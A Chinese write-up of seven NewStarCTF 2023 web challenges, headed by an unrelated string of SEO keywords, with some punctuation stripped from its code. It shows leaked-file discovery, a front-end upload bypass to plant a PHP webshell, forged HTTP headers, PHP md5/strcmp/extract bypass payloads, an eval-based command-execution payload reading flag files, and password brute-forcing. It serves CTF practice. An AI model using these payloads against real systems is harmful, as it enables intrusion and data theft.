如何创建个人网站免费,wordpress 设置导航菜单,谷歌搜索引擎363,柳州中小企业网站建设目录
①泄露的秘密
②Begin of Upload
③Begin of HTTP
④ErrorFlask
⑤Begin of PHP
⑥R!C!E!
⑦EasyLogin ①泄露的秘密 盲猜/robots.txt,访问得到flag前半部分 第二个没试出来#xff0c;老老实实拿dirsearch扫吧 访问/www.zip
下载附件#xff0c;拿到第二部分…目录
①泄露的秘密
②Begin of Upload
③Begin of HTTP
④ErrorFlask
⑤Begin of PHP
⑥R!C!E!
⑦EasyLogin ①泄露的秘密 盲猜/robots.txt,访问得到flag前半部分 第二个没试出来老老实实拿dirsearch扫吧 访问/www.zip
下载附件拿到第二部分 flag:
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} ②Begin of Upload 随便上传一个php文件 发现有前端限制 禁一手js
继续上传 成功传马直接rce即可下略 ③Begin of HTTP
常规的题不多解释
POST /?ctf1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: powerctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1secretn3wst4rCTF2023g00000d
注意最后的伪造本地请求方式要字典爆破 ④ErrorFlask 看标题表述就是搞破坏让flask报错
先正常传俩数字回显告诉我们不是ssti 传个字母试试
payload:
?number1anumber21
成功报错拿到flag ⑤Begin of PHP
贴出源码 ?php
error_reporting(0);
highlight_file(__FILE__);if(isset($_GET[key1]) isset($_GET[key2])){echo Level 1br;if($_GET[key1] ! $_GET[key2] md5($_GET[key1]) md5($_GET[key2])){$flag1 True;}else{die(nope,this is level 1);}
}if($flag1){echo Level 2br;if(isset($_POST[key3])){if(md5($_POST[key3]) sha1($_POST[key3])){$flag2 True;}}else{die(nope,this is level 2);}
}if($flag2){echo Level 3br;if(isset($_GET[key4])){if(strcmp($_GET[key4],file_get_contents(/flag)) 0){$flag3 True;}else{die(nope,this is level 3);}}
}if($flag3){echo Level 4br;if(isset($_GET[key5])){if(!is_numeric($_GET[key5]) $_GET[key5] 2023){$flag4 True;}else{die(nope,this is level 4);}}
}if($flag4){echo Level 5br;extract($_POST);foreach($_POST as $var){if(preg_match(/[a-zA-Z0-9]/,$var)){die(nope,this is level 5);}}if($flag5){echo file_get_contents(/flag);}else{die(nope,this is level 5);}
}
payload:
?key1[]1key2[]2key4[]1key52024.c
key3[]1flag5![] 主要解释下level3和5
level 3利用strcmp传入数组会返回0来绕过
level 5利用extract可以解析并创建变量来psost一个flag5进去因为发现源码中没有flag5。另外对post内容做了限制不能有字母数字这里可以传一个![]进去[]空数组会隐式转换为false在取反得到我们要的true ⑥R!C!E! 先是构造md5 默默掏出工具爆破
最终payload:
password114514e[v.a.lecho tac /f*; ⑦EasyLogin
进来是个登录框 随便注册一个账号登录看看 没什么用估计得admin登录
提示密码至少6位尝试爆破6位密码 爆破得密码为000000 登录发包得到302重定向在repeater里看即可